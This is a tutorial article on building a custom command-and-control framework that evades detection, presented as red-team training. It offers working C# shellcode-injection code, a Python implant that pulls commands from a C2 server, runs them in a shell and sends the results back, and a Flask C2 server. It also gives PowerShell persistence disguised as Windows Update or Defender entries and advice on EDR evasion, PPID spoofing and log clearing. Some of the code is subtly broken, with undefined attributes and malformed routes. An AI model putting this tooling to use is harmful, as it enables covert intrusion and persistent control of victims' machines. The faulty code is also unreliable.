Simulating Real Adversaries: Building a Custom C2 Without Getting Flagged

⚠️ Disclaimer: This article is intended for educational and authorized red team purposes only. The techniques and tools discussed should only be used in environments where you have explicit permission to do so. The author and publisher are not responsible for any misuse or illegal activities.

The landscape of cybersecurity is in a constant state of flux, with defenders and attackers locked in a perpetual arms race. As detection mechanisms become more sophisticated, red teams and security researchers must adapt their tools and techniques to accurately simulate the tactics of real-world adversaries. While commercial command-and-control (C2) frameworks like Cobalt Strike and Sliver offer powerful capabilities, their signatures are often well-known to modern security solutions. This has led to a growing trend of developing custom C2 frameworks to evade detection and provide greater operational flexibility.

This article provides a comprehensive guide to building a custom C2 infrastructure for authorized red team exercises. We will explore the fundamental concepts of C2, delve into advanced evasion techniques, and discuss the operational security (OPSEC) considerations necessary to conduct a successful and professional engagement. By understanding how to build and operate a custom C2, red teams can better simulate advanced threats, and blue teams can gain valuable insights into how to defend against them.


Understanding C2 Infrastructure Fundamentals

At its core, a command-and-control (C2) infrastructure is the backbone of any red team operation. It is the set of tools and techniques that allow an operator to maintain communication with a compromised system, or "implant," within a target network. This communication channel is used to send commands, exfiltrate data, and pivot to other systems within the network.

A typical C2 communication chain consists of several layers, each with a specific purpose:

Layer Description Purpose
Implant/Agent The malicious code running on the compromised system. Executes commands and maintains connectivity
First-hop Infrastructure Redirectors exposed to the internet acting as proxy Shields C2 server from direct exposure
Mid-tier Infrastructure Optional layer for filtering, authentication, or obfuscation Additional security and traffic analysis
Team Server The actual C2 server where operators control implants Central command and control hub

Directly connecting an implant to a C2 server is a significant operational risk. If a defender identifies the IP address or domain of the C2 server, they can block it, effectively cutting off communication with all implants. By using a layered infrastructure with redirectors, the C2 server is shielded from direct exposure. If a redirector is discovered and blocked, it can be easily replaced without compromising the entire operation.

C2 Architecture Diagram

The following diagram illustrates the typical C2 infrastructure architecture with multiple layers of separation:

C2 Architecture Diagram
Figure 1: Layered C2 Infrastructure Architecture showing agent communication through redirectors to the team server

Commercial vs. Custom C2 Frameworks

While commercial and open-source C2 frameworks offer a wide range of features and are easy to deploy, their popularity is a double-edged sword. Security vendors and threat intelligence companies actively hunt for and create signatures for these frameworks. This means that using an off-the-shelf C2 may lead to rapid detection in a mature security environment.

Building a custom C2 framework offers several distinct advantages:

  • Evasion: A custom C2 will not have pre-existing signatures, making it significantly harder to detect through signature-based mechanisms.
  • Flexibility: You have complete control over the features and functionality, allowing you to tailor the C2 to the specific needs of an engagement.
  • Learning: The process of building a C2 provides invaluable insights into how they operate, which is beneficial for both red and blue teamers.

The C2 Architecture: Building Blocks

A custom C2 framework is comprised of several key components that work together to provide a stable and reliable communication channel.

Core Components

The agent or implant is the code that runs on the compromised system. It is responsible for establishing a connection to the C2 server, receiving commands, executing them, and returning the results. A well-designed agent should be lightweight, modular, and difficult to detect. The agent must be able to handle network interruptions gracefully and implement reliable callback mechanisms to ensure persistent communication.

The backend API is the heart of the C2 server. It handles agent registration, session management, and the serving of commands. It also provides an interface for the operator to interact with the agents. The backend should be designed to scale horizontally and handle multiple concurrent agent connections without performance degradation.

The frontend interface is the user interface that the operator uses to control the agents. This can be a simple command-line interface (CLI) or a more sophisticated web-based graphical user interface (GUI). The frontend should provide real-time visibility into agent status, command execution, and result collection.

The command serving mechanism is the mechanism by which agents receive commands and send results. This is typically done through a series of HTTP requests and responses, but other protocols such as DNS can also be used. The command serving mechanism must be designed to be resilient to network failures and to provide reliable command delivery.

Communication Patterns

The communication between the agent and the C2 server is a critical aspect of the C2 architecture. The choice of communication pattern can have a significant impact on the stealth and resilience of the C2.

HTTP/HTTPS-based communication is the most common communication pattern, as HTTP and HTTPS traffic is ubiquitous in most networks and is less likely to be blocked. By mimicking legitimate web traffic, C2 communication can blend in with the noise of normal network activity. HTTPS provides encryption that prevents defenders from inspecting the content of the traffic.

DNS-based communication is another protocol that is rarely blocked, making it an attractive option for C2 communication. DNS tunneling can be used to exfiltrate data and send commands, but it is often slower and more complex to implement than HTTP-based communication. DNS can also be used for out-of-band communication in environments where HTTP is heavily monitored.

All C2 communication should be encrypted to prevent defenders from inspecting the content of the traffic. This can be achieved using SSL/TLS for HTTPS communication, or by implementing a custom encryption scheme. The encryption should be transparent to the agent and should not introduce significant overhead.

The timing of C2 callbacks, or "beacons," is a critical factor in evading detection. A regular, predictable beaconing pattern is a strong indicator of C2 activity. To avoid this, random jitter should be introduced to the beacon interval to make the traffic appear more organic.

Communication Flow Diagram

The following sequence diagram illustrates the typical C2 communication flow between agent and server:

C2 Communication Flow
Figure 2: C2 Agent-Server Communication Sequence showing registration, task retrieval, command execution, and result submission

Evasion Techniques: Network Level

Network-level evasion techniques are designed to make C2 traffic blend in with legitimate network activity, making it difficult for defenders to identify and block. These techniques focus on manipulating the appearance of network traffic to mimic benign protocols and applications.

Malleable Profiles and Traffic Customization

Malleable C2 profiles are a powerful feature of modern C2 frameworks that allow operators to customize the appearance of their C2 traffic. By modifying a simple configuration file, operators can change everything from the HTTP headers to the in-memory characteristics of the implant.

Malleable profiles for C2 allow the actor to not only evade detection on the wire from network-based detection tools but also endpoint security products. The level of "malleability" allows operators to not only fully customize the shape and timing of C2 beacons but furthermore give the ability to customize on-target functions like process injection and in-memory obfuscation methods. [1]

Key aspects of traffic customization include:

HTTP Headers: Modifying HTTP headers such as User-Agent, Accept, and Content-Type to match those of legitimate applications. For example, a C2 agent could spoof the User-Agent of a Windows Update client to blend in with legitimate system traffic.

Data Transforms: Encoding or encrypting C2 data using transforms like Base64, XOR, or custom algorithms to obfuscate the payload. Multiple transforms can be layered together for added obfuscation. For example, a payload could be first XOR-encoded, then Base64-encoded, creating multiple layers of obfuscation.

SSL Certificates: Using valid SSL certificates from services like Let's Encrypt to make HTTPS traffic appear legitimate. The SSL certificate should match the domain name being used for C2 communication.

URI Paths: Customizing the URI paths used for C2 communication to mimic the structure of a legitimate web application. For example, instead of using /beacon, a C2 agent could use /api/v1/users to blend in with legitimate API traffic.

Malleable Profile Configuration Example

Malleable C2 Profile - Windows Update Mimic
# Malleable C2 Profile - Windows Update Mimic

http-get {
    set uri "/api/v1/update";
    
    client {
        header "User-Agent" "Windows-Update-Agent/10.0";
        header "Accept" "application/json";
        header "Accept-Language" "en-US";
        
        metadata {
            base64;
            parameter "id";
        }
    }
    
    server {
        header "Server" "Microsoft-IIS/10.0";
        header "X-Powered-By" "ASP.NET";
        
        output {
            base64;
            print;
        }
    }
}

http-post {
    set uri "/api/v1/report";
    
    client {
        header "User-Agent" "Windows-Update-Agent/10.0";
        header "Content-Type" "application/json";
        
        id {
            base64;
            parameter "session";
        }
        
        output {
            base64;
            print;
        }
    }
    
    server {
        header "Server" "Microsoft-IIS/10.0";
        output {
            base64;
            print;
        }
    }
}

C2 Redirectors: The First Line of Defense

C2 redirectors are a critical component of a resilient C2 infrastructure. They act as a proxy between the implant and the C2 server, shielding the C2 server from direct exposure to the internet. If a redirector is discovered and blocked, it can be easily replaced without compromising the entire operation.

HTTP/HTTPS Redirectors with Nginx

Nginx is a popular choice for an HTTP/HTTPS redirector due to its performance and flexibility. The following configuration demonstrates how to set up a simple redirector that forwards traffic to a C2 server:

Nginx Redirector Configuration
server {
    listen 80;
    server_name your-c2-domain.com;

    # Redirect all HTTP traffic to HTTPS
    return 301 https://$server_name$request_uri;
}

server {
    listen 443 ssl;
    server_name your-c2-domain.com;

    ssl_certificate /etc/letsencrypt/live/your-c2-domain.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/your-c2-domain.com/privkey.pem;

    # Only forward specific URIs to C2 server
    location /api/v1/ {
        proxy_pass https://your-c2-server-ip:443/api/;
        proxy_set_header Host your-c2-server-ip;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_ssl_verify off;
    }

    # Serve legitimate content for all other requests
    location / {
        root /var/www/your-c2-domain.com;
        index index.html;
    }
}

This configuration only forwards specific URIs to the C2 server while serving legitimate content for all other requests. This approach makes the redirector appear to be a legitimate web server to anyone who inspects it.

Advanced Nginx Redirector with Filtering

For more sophisticated redirector setups, implement request filtering and rate limiting:

Advanced Nginx Configuration with Security
# Rate limiting
limit_req_zone $binary_remote_addr zone=c2_limit:10m rate=10r/s;

server {
    listen 443 ssl http2;
    server_name your-c2-domain.com;
    
    ssl_certificate /etc/letsencrypt/live/your-c2-domain.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/your-c2-domain.com/privkey.pem;
    
    # Security Headers
    add_header Strict-Transport-Security "max-age=31536000" always;
    add_header X-Content-Type-Options "nosniff" always;
    add_header X-Frame-Options "DENY" always;
    
    # Only allow specific User-Agents
    if ($http_user_agent !~ (Mozilla|Windows|Linux|Macintosh)) {
        return 403;
    }
    
    # Rate limiting
    limit_req zone=c2_limit burst=20 nodelay;
    
    # C2 API endpoints
    location /api/v1/ {
        proxy_pass https://your-c2-server-ip:443/api/;
        proxy_ssl_verify off;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }
    
    # Serve legitimate content
    location / {
        root /var/www/your-c2-domain.com;
        index index.html;
    }
}

Domain and Certificate Strategy

The choice of domain and SSL certificate can have a significant impact on the stealth of a C2 infrastructure. A suspicious-looking domain or a self-signed SSL certificate can be a dead giveaway to a defender.

When selecting a domain, choose one that looks legitimate and is relevant to the target organization. Aged domains with a good reputation are ideal, as they are less likely to be flagged by security tools. Newly registered domains are often scrutinized more heavily. The domain should also have a believable purpose that aligns with the target organization's business.

Always use valid SSL certificates from a trusted certificate authority. Let's Encrypt provides free SSL certificates that are easy to obtain and renew. The SSL certificate should match the domain name being used for C2 communication to avoid certificate validation errors.

Host legitimate content on the C2 domain to make it appear more credible. This can be a simple blog, a company website, or a marketing page. The content should be relevant to the domain name and should be updated periodically to appear active and legitimate.


Evasion Techniques: Endpoint Level

Endpoint-level evasion techniques are designed to prevent the C2 agent from being detected by endpoint security solutions such as antivirus (AV) and endpoint detection and response (EDR) products. These techniques focus on manipulating the behavior of the agent to avoid common detection signatures and heuristics.

In-Memory Obfuscation

Modern EDR solutions have the ability to scan the memory of running processes for malicious code. To evade this, the C2 agent should be obfuscated in memory to make it difficult to detect.

Memory segments with read, write, and execute (RWX) permissions are a strong indicator of malicious code. The C2 agent should avoid allocating memory with these permissions whenever possible. Instead, memory should be allocated with read and write permissions, and execute permissions should only be granted when the code is about to be executed.

Process injection involves injecting the C2 agent into a legitimate process to hide its presence on the system. However, the process of injection itself can be detected, so it is important to use stealthy injection techniques. Common injection techniques include DLL injection, code cave injection, and process hollowing.

The C2 agent can be encrypted or encoded in memory to prevent it from being detected by memory scanning. The agent can then be decrypted or decoded just before it is executed. This approach is particularly effective against signature-based memory scanning tools.

Process Injection Example (C#)

Process Injection Implementation
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;

public class ProcessInjection
{
    [DllImport("kernel32.dll", SetLastError = true)]
    private static extern IntPtr OpenProcess(
        uint dwDesiredAccess,
        bool bInheritHandle,
        uint dwProcessId);

    [DllImport("kernel32.dll", SetLastError = true)]
    private static extern IntPtr VirtualAllocEx(
        IntPtr hProcess,
        IntPtr lpAddress,
        uint dwSize,
        uint flAllocationType,
        uint flProtect);

    [DllImport("kernel32.dll", SetLastError = true)]
    private static extern bool WriteProcessMemory(
        IntPtr hProcess,
        IntPtr lpBaseAddress,
        byte[] lpBuffer,
        uint nSize,
        out UIntPtr lpNumberOfBytesWritten);

    [DllImport("kernel32.dll", SetLastError = true)]
    private static extern IntPtr CreateRemoteThread(
        IntPtr hProcess,
        IntPtr lpThreadAttributes,
        uint dwStackSize,
        IntPtr lpStartAddress,
        IntPtr lpParameter,
        uint dwCreationFlags,
        out uint lpThreadId);

    private const uint PROCESS_ALL_ACCESS = 0x1F0FFF;
    private const uint MEM_COMMIT = 0x1000;
    private const uint PAGE_EXECUTE_READWRITE = 0x40;

    public static void InjectShellcode(uint targetPid, byte[] shellcode)
    {
        IntPtr hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, targetPid);
        
        if (hProcess == IntPtr.Zero)
        {
            Console.WriteLine("Failed to open process");
            return;
        }

        IntPtr allocatedMemory = VirtualAllocEx(
            hProcess,
            IntPtr.Zero,
            (uint)shellcode.Length,
            MEM_COMMIT,
            PAGE_EXECUTE_READWRITE);

        if (allocatedMemory == IntPtr.Zero)
        {
            Console.WriteLine("Failed to allocate memory");
            return;
        }

        if (!WriteProcessMemory(
            hProcess,
            allocatedMemory,
            shellcode,
            (uint)shellcode.Length,
            out UIntPtr bytesWritten))
        {
            Console.WriteLine("Failed to write memory");
            return;
        }

        uint threadId;
        IntPtr hThread = CreateRemoteThread(
            hProcess,
            IntPtr.Zero,
            0,
            allocatedMemory,
            IntPtr.Zero,
            0,
            out threadId);

        if (hThread == IntPtr.Zero)
        {
            Console.WriteLine("Failed to create remote thread");
            return;
        }

        Console.WriteLine($"Successfully injected shellcode into process {targetPid}");
    }
}

Process Execution and Spawning

The way in which the C2 agent executes commands and spawns new processes can also be a source of detection. Many EDR solutions monitor for suspicious process execution patterns, such as a Word document spawning a PowerShell process.

The use of cmd.exe and powershell.exe is often a strong indicator of malicious activity. The C2 agent should avoid using these processes whenever possible and instead rely on direct API calls. For example, instead of spawning cmd.exe to execute a command, the agent could use the CreateProcessW API to directly execute the command.

The CreateProcess API can be used to spawn new processes with a great deal of control. The parent process of the new process can be spoofed to make it appear as if it was spawned by a legitimate process. This technique is known as parent process ID (PPID) spoofing and can help to evade detection by process monitoring tools.

Beacon Behavior and Timing

The timing and behavior of the C2 beacon can also be used to detect the presence of a C2 agent. A regular, predictable beaconing pattern is a strong indicator of C2 activity.

To avoid detection, random jitter should be introduced to the beacon interval to make the traffic appear more organic. The jitter should be significant enough to prevent pattern recognition but not so large that it introduces unacceptable delays in command execution. For example, a beacon interval of 60 seconds with jitter of ±30 seconds would result in beacon intervals ranging from 30 to 90 seconds.

Beacon Timing Implementation

Python Beacon Scheduler with Jitter
import time
import random

class BeaconScheduler:
    def __init__(self, base_interval=60, jitter_percent=30, max_backoff=3600):
        self.base_interval = base_interval
        self.jitter_percent = jitter_percent
        self.max_backoff = max_backoff
        self.failed_attempts = 0
        
    def calculate_interval(self):
        """Calculate beacon interval with jitter"""
        jitter_amount = self.base_interval * (self.jitter_percent / 100)
        interval = self.base_interval + random.uniform(-jitter_amount, jitter_amount)
        
        # Exponential backoff on failures
        if self.failed_attempts > 0:
            backoff = min(self.max_backoff, self.base_interval * (2 ** self.failed_attempts))
            interval += backoff
        
        return max(interval, 1)
    
    def on_success(self):
        """Reset failure counter on successful beacon"""
        self.failed_attempts = 0
    
    def on_failure(self):
        """Increment failure counter"""
        self.failed_attempts += 1

OPSEC Considerations for Operators

Operational Security (OPSEC) is a critical aspect of any red team engagement. It is the process of identifying and protecting sensitive information that could be used by an adversary to detect and respond to your activities. When operating a C2 infrastructure, there are a number of OPSEC considerations that must be taken into account to avoid detection and maintain a low profile.

Command Classification and Risk Assessment

Not all C2 commands are created equal. Some commands are inherently riskier than others and are more likely to be detected by security solutions. It is important to understand the risks associated with each command and to use the safest command possible to achieve your objective.

Command Type Examples Risk Level Notes
API-only cd, ls, pwd, ps, download, upload Very Low Direct API calls, no process spawning
Post-exploitation mimikatz, hashdump, dcsync High Spawns processes, injects code
Process Execution execute, runas, runu Medium Spawns new processes
Shell Commands shell, powershell High Uses cmd.exe or powershell.exe

API-only commands are the safest commands to use, as they rely on direct API calls and do not spawn new processes or inject into remote processes. Examples include cd, ls, pwd, ps, download, and upload. These commands should be preferred whenever possible.

Post-exploitation jobs are riskier, as they often spawn a new process and inject a capability into it. Examples include mimikatz, hashdump, and dcsync. These commands should be used with caution and only when necessary. When using post-exploitation jobs, be aware that they will generate event logs and may trigger EDR alerts.

Commands that spawn processes such as execute, runas, and runu spawn new processes and can be detected by process monitoring. The ppid command can be used to spoof the parent process of the new process to make it appear more legitimate.

Commands that rely on cmd.exe or powershell.exe are strong indicators of malicious activity and should be avoided whenever possible. There are often safer alternatives to these commands that use direct API calls.

Operational Security Best Practices

In addition to understanding the risks associated with each command, there are a number of general OPSEC best practices that should be followed when operating a C2 infrastructure.

The getsystem command is a well-known and easily detectable pattern. There are other, more stealthy ways to obtain SYSTEM privileges. If you need SYSTEM privileges, consider alternative methods such as exploiting a known vulnerability or using token impersonation.

The spawnto command can be used to change the process that is spawned for post-exploitation jobs. The default is rundll32.exe, which is a common indicator of compromise. By changing the spawn process to a more legitimate-looking process, you can reduce the likelihood of detection.

The ppid command can be used to change the parent process of spawned jobs to make them appear more legitimate. For example, you could spoof the parent process of a spawned job to appear as if it was spawned by explorer.exe rather than cmd.exe.

The COMSPEC environment variable can be modified to point to a different location for cmd.exe, which can help to evade detection. By modifying this variable, you can force the system to use a different command interpreter that may be less monitored.

Avoid repeated command patterns. The repeated use of the same commands or command patterns can be a strong indicator of C2 activity. It is important to vary your commands and to avoid predictable patterns. For example, instead of always using the same command to enumerate users, you could use different commands that achieve the same result.


Building a Custom C2 Framework

Building a custom C2 framework from scratch is a significant undertaking, but it provides the ultimate level of flexibility and evasion. This section will walk through the process of designing and building a simple, yet effective, C2 framework using Python.

Encrypted C2 Agent with Advanced Features

Python C2 Agent with Encryption
import requests
import time
import subprocess
import base64
import socket
import getpass
import random
import json
from cryptography.fernet import Fernet
import hashlib

class C2Agent:
    def __init__(self, c2_url, encryption_key):
        self.c2_url = c2_url
        self.agent_id = self._generate_agent_id()
        self.cipher = Fernet(encryption_key)
        self.beacon_interval = 60
        self.jitter = 0.3
        self.session_id = None
        
    def _generate_agent_id(self):
        """Generate a unique agent ID based on system information"""
        hostname = socket.gethostname()
        username = getpass.getuser()
        machine_id = hashlib.md5(f"{hostname}{username}".encode()).hexdigest()[:16]
        return f"agent-{machine_id}"
    
    def _encrypt_data(self, data):
        """Encrypt data using Fernet symmetric encryption"""
        json_data = json.dumps(data)
        encrypted = self.cipher.encrypt(json_data.encode())
        return base64.b64encode(encrypted).decode('utf-8')
    
    def _decrypt_data(self, encrypted_data):
        """Decrypt data received from C2 server"""
        try:
            decoded = base64.b64decode(encrypted_data)
            decrypted = self.cipher.decrypt(decoded)
            return json.loads(decrypted.decode('utf-8'))
        except Exception as e:
            return None
    
    def register(self):
        """Register agent with C2 server"""
        try:
            payload = {
                'agent_id': self.agent_id,
                'hostname': socket.gethostname(),
                'username': getpass.getuser(),
                'timestamp': time.time()
            }
            
            encrypted_payload = self._encrypt_data(payload)
            
            response = requests.post(
                f'{self.c2_url}/register',
                json={'data': encrypted_payload},
                verify=False,
                timeout=10
            )
            
            if response.status_code == 200:
                result = response.json()
                self.session_id = result.get('session_id')
                return True
        except Exception as e:
            pass
        return False
    
    def get_tasks(self):
        """Retrieve tasks from C2 server"""
        try:
            headers = {'X-Session-ID': self.session_id} if self.session_id else {}
            
            response = requests.get(
                f'{self.c2_url}/tasks/{self.agent_id}',
                headers=headers,
                verify=False,
                timeout=10
            )
            
            if response.status_code == 200:
                result = response.json()
                encrypted_tasks = result.get('data')
                if encrypted_tasks:
                    tasks = self._decrypt_data(encrypted_tasks)
                    return tasks.get('tasks', []) if tasks else []
        except Exception as e:
            pass
        return []
    
    def execute_command(self, command):
        """Execute a command and return output"""
        try:
            result = subprocess.check_output(
                command,
                shell=True,
                stderr=subprocess.STDOUT,
                timeout=30
            )
            return base64.b64encode(result).decode('utf-8')
        except subprocess.TimeoutExpired:
            return base64.b64encode(b"Command timed out").decode('utf-8')
        except Exception as e:
            return base64.b64encode(str(e).encode('utf-8')).decode('utf-8')
    
    def send_result(self, task_id, result):
        """Send command result back to C2 server"""
        try:
            payload = {
                'task_id': task_id,
                'result': result,
                'agent_id': self.agent_id,
                'timestamp': time.time()
            }
            
            encrypted_payload = self._encrypt_data(payload)
            headers = {'X-Session-ID': self.session_id} if self.session_id else {}
            
            response = requests.post(
                f'{self.c2_url}/results/{self.agent_id}',
                json={'data': encrypted_payload},
                headers=headers,
                verify=False,
                timeout=10
            )
            
            return response.status_code == 200
        except Exception as e:
            pass
        return False
    
    def calculate_beacon_interval(self):
        """Calculate beacon interval with jitter"""
        jitter_amount = self.base_interval * self.jitter
        return self.base_interval + random.uniform(-jitter_amount, jitter_amount)
    
    def run(self):
        """Main agent loop"""
        if not self.register():
            return
        
        while True:
            try:
                tasks = self.get_tasks()
                
                if tasks:
                    for task in tasks:
                        task_id = task.get('task_id')
                        command = task.get('command')
                        
                        if command:
                            result = self.execute_command(command)
                            self.send_result(task_id, result)
                
                sleep_time = self.calculate_beacon_interval()
                time.sleep(sleep_time)
                
            except KeyboardInterrupt:
                break
            except Exception as e:
                time.sleep(self.calculate_beacon_interval())

if __name__ == '__main__':
    ENCRYPTION_KEY = b'your-base64-encoded-fernet-key-here'
    C2_URL = 'https://your-c2-server-ip:5000'
    
    agent = C2Agent(C2_URL, ENCRYPTION_KEY)
    agent.run()

Advanced C2 Server with Database Backend

Python C2 Server with Flask and SQLAlchemy
from flask import Flask, request, jsonify
from flask_sqlalchemy import SQLAlchemy
from datetime import datetime
import uuid
import json

app = Flask(__name__)
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///c2.db'
db = SQLAlchemy(app)

# Database Models
class Agent(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    agent_id = db.Column(db.String(50), unique=True, nullable=False)
    session_id = db.Column(db.String(50), unique=True)
    hostname = db.Column(db.String(100))
    username = db.Column(db.String(100))
    registered_at = db.Column(db.DateTime, default=datetime.utcnow)
    last_seen = db.Column(db.DateTime, default=datetime.utcnow)
    status = db.Column(db.String(20), default='active')
    
    tasks = db.relationship('Task', backref='agent', lazy=True)
    results = db.relationship('Result', backref='agent', lazy=True)

class Task(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    task_id = db.Column(db.String(50), unique=True)
    agent_id = db.Column(db.Integer, db.ForeignKey('agent.id'), nullable=False)
    command = db.Column(db.Text, nullable=False)
    created_at = db.Column(db.DateTime, default=datetime.utcnow)
    executed = db.Column(db.Boolean, default=False)

class Result(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    task_id = db.Column(db.String(50))
    agent_id = db.Column(db.Integer, db.ForeignKey('agent.id'), nullable=False)
    result = db.Column(db.Text)
    received_at = db.Column(db.DateTime, default=datetime.utcnow)

# Routes
@app.route('/register', methods=['POST'])
def register_agent():
    try:
        data = request.json.get('data')
        
        agent_id = data.get('agent_id')
        hostname = data.get('hostname')
        username = data.get('username')
        
        existing_agent = Agent.query.filter_by(agent_id=agent_id).first()
        
        if existing_agent:
            existing_agent.last_seen = datetime.utcnow()
            existing_agent.status = 'active'
        else:
            session_id = str(uuid.uuid4())
            new_agent = Agent(
                agent_id=agent_id,
                session_id=session_id,
                hostname=hostname,
                username=username
            )
            db.session.add(new_agent)
        
        db.session.commit()
        
        return jsonify({'status': 'success', 'session_id': existing_agent.session_id if existing_agent else session_id})
    except Exception as e:
        return jsonify({'status': 'error', 'message': str(e)}), 500

@app.route('/tasks/', methods=['GET'])
def get_tasks(agent_id):
    try:
        agent = Agent.query.filter_by(agent_id=agent_id).first()
        
        if not agent:
            return jsonify({'data': None}), 404
        
        pending_tasks = Task.query.filter_by(agent_id=agent.id, executed=False).all()
        
        tasks_list = []
        for task in pending_tasks:
            tasks_list.append({
                'task_id': task.task_id,
                'command': task.command
            })
            task.executed = True
        
        db.session.commit()
        
        response_data = {'tasks': tasks_list}
        
        return jsonify({'data': json.dumps(response_data)})
    except Exception as e:
        return jsonify({'status': 'error', 'message': str(e)}), 500

@app.route('/results/', methods=['POST'])
def post_results(agent_id):
    try:
        data = request.json.get('data')
        
        task_id = data.get('task_id')
        result = data.get('result')
        
        agent = Agent.query.filter_by(agent_id=agent_id).first()
        
        if not agent:
            return jsonify({'status': 'error', 'message': 'Agent not found'}), 404
        
        agent.last_seen = datetime.utcnow()
        
        result_obj = Result(
            task_id=task_id,
            agent_id=agent.id,
            result=result
        )
        
        db.session.add(result_obj)
        db.session.commit()
        
        return jsonify({'status': 'success'})
    except Exception as e:
        return jsonify({'status': 'error', 'message': str(e)}), 500

@app.route('/agents//command', methods=['POST'])
def send_command(agent_id):
    try:
        agent = Agent.query.filter_by(agent_id=agent_id).first()
        
        if not agent:
            return jsonify({'status': 'error', 'message': 'Agent not found'}), 404
        
        command = request.json.get('command')
        task_id = str(uuid.uuid4())
        
        task = Task(
            task_id=task_id,
            agent_id=agent.id,
            command=command
        )
        
        db.session.add(task)
        db.session.commit()
        
        return jsonify({'status': 'success', 'task_id': task_id})
    except Exception as e:
        return jsonify({'status': 'error', 'message': str(e)}), 500

if __name__ == '__main__':
    with app.app_context():
        db.create_all()
    app.run(host='0.0.0.0', port=5000, ssl_context='adhoc')

Persistence Mechanisms

Persistence is the set of techniques that adversaries use to maintain access to a compromised system across restarts, changed credentials, and other interruptions. For a C2 implant, persistence ensures that it can survive a reboot and re-establish a connection to the C2 server. This is a critical aspect of any red team operation, as it allows the operator to maintain a long-term foothold in the target environment.

Windows Persistence Techniques

Windows provides a number of legitimate mechanisms that can be abused by adversaries to achieve persistence. Some of the most common techniques include:

Registry Run Keys are stored in the Windows Registry and are used to automatically start programs at boot or logon. By adding an entry to one of these keys, an adversary can ensure that their implant is executed every time the system is started. The most common run keys are HKCU\Software\Microsoft\Windows\CurrentVersion\Run (per-user) and HKLM\Software\Microsoft\Windows\CurrentVersion\Run (system-wide).

Scheduled Tasks can be used to schedule programs to run at specific times or in response to specific events. An adversary can create a scheduled task to run their implant at regular intervals or when a specific trigger is met. Scheduled tasks are particularly useful because they can run as SYSTEM and can survive reboots.

WMI Event Subscriptions can be used to create permanent event subscriptions that can be used to execute code in response to specific events. This is a powerful and stealthy persistence technique, as it is more difficult to detect than registry keys or scheduled tasks. WMI event subscriptions can be used to execute code when a specific event is logged, such as a user logon event.

Service Installation involves creating a new service that is configured to run the implant. This is a very reliable persistence technique, as services are designed to run in the background and are automatically started at boot. However, service creation is also very noisy and is easily detected by security solutions.

Persistence Implementation Examples

Registry Run Key Persistence (PowerShell)

PowerShell Registry Persistence
# Add to HKCU (Current User)
$RegPath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
$ScriptPath = "C:\ProgramData\WindowsUpdate\update.ps1"

New-ItemProperty -Path $RegPath -Name "WindowsUpdate" `
    -Value "powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File $ScriptPath" `
    -Force

# Add to HKLM (System-wide, requires admin)
$RegPath = "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run"
New-ItemProperty -Path $RegPath -Name "WindowsDefender" `
    -Value "powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File $ScriptPath" `
    -Force

Scheduled Task Persistence (PowerShell)

PowerShell Scheduled Task Persistence
$TaskName = "WindowsDefenderUpdate"
$TaskDescription = "Automatic Windows Defender signature update"
$Action = New-ScheduledTaskAction -Execute "powershell.exe" `
    -Argument "-NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File C:\ProgramData\WindowsUpdate\update.ps1"
$Trigger = New-ScheduledTaskTrigger -AtLogOn
$Principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -RunLevel Highest
$Settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries

Register-ScheduledTask -TaskName $TaskName -Action $Action -Trigger $Trigger `
    -Principal $Principal -Settings $Settings -Description $TaskDescription -Force

Detection Evasion in Practice

While the techniques discussed above provide a foundation for evading detection, real-world evasion requires a deep understanding of how defenders detect C2 infrastructure and implants.

Detection Evasion Checklist

Technique Implementation Detection Risk Mitigation
Malleable Profiles HTTP Header Spoofing Low Requires custom C2 framework
Data Transforms Base64 + XOR Encoding Low Multiple layers increase complexity
SSL Certificates Let's Encrypt Valid Cert Very Low Must match domain name
Redirectors Nginx/Apache Proxy Very Low Compartmentalizes infrastructure
Process Injection Remote Thread Injection Medium Use stealthy injection techniques
Memory Obfuscation In-memory Encryption Low Requires decryption before execution
Beacon Jitter Random Interval ±30% Low Prevents pattern recognition
PPID Spoofing Parent Process ID Manipulation Medium Some EDR solutions detect this
Registry Cleanup Immediate Deletion Low Must be done carefully
Event Log Clearing Disable/Clear Logs High Very detectable, avoid if possible

Conclusion

Building a custom C2 infrastructure for authorized red team exercises is a complex undertaking that requires a deep understanding of both offensive and defensive security concepts. By implementing the techniques and practices discussed in this article, red teams can build a C2 infrastructure that is difficult to detect and resilient to defensive measures.

However, it is important to remember that this knowledge should only be used for authorized red team exercises and defensive security research. The techniques discussed in this article should never be used for unauthorized access or malicious purposes. Red teams have a responsibility to conduct their exercises ethically and legally, and to provide valuable feedback to the organizations they are testing.

As the security landscape continues to evolve, the techniques used to build and operate C2 infrastructure will also continue to evolve. Red teams must stay up to date with the latest evasion techniques and defensive measures to ensure that they are providing accurate and valuable simulations of real-world threats. By understanding how to build and operate a custom C2 infrastructure, red teams can better simulate advanced threats and help organizations improve their security posture.


References

  1. St. Hilaire, J. (2021). C2 Evasion Techniques: Understanding Malleable C2 Profiles. Vectra AI. Retrieved from https://www.vectra.ai/blog/command-and-control-c2-evasion-techniques-part-2
  2. Mudge, R. (2017). OPSEC Considerations for Beacon Commands. Cobalt Strike. Retrieved from https://www.cobaltstrike.com/blog/opsec-considerations-for-beacon-commands
  3. xbz0n. (2025). C2 Redirectors: Advanced Infrastructure for Modern Red Team Operations. xbz0n.sh. Retrieved from https://xbz0n.sh/blog/c2-redirectors
  4. 0x0vid. (2024). How to Build Your Own Custom C2 Framework. Medium. Retrieved from https://medium.com/@0x0vid/how-to-build-your-own-custom-c2-framework-b33b569f0987
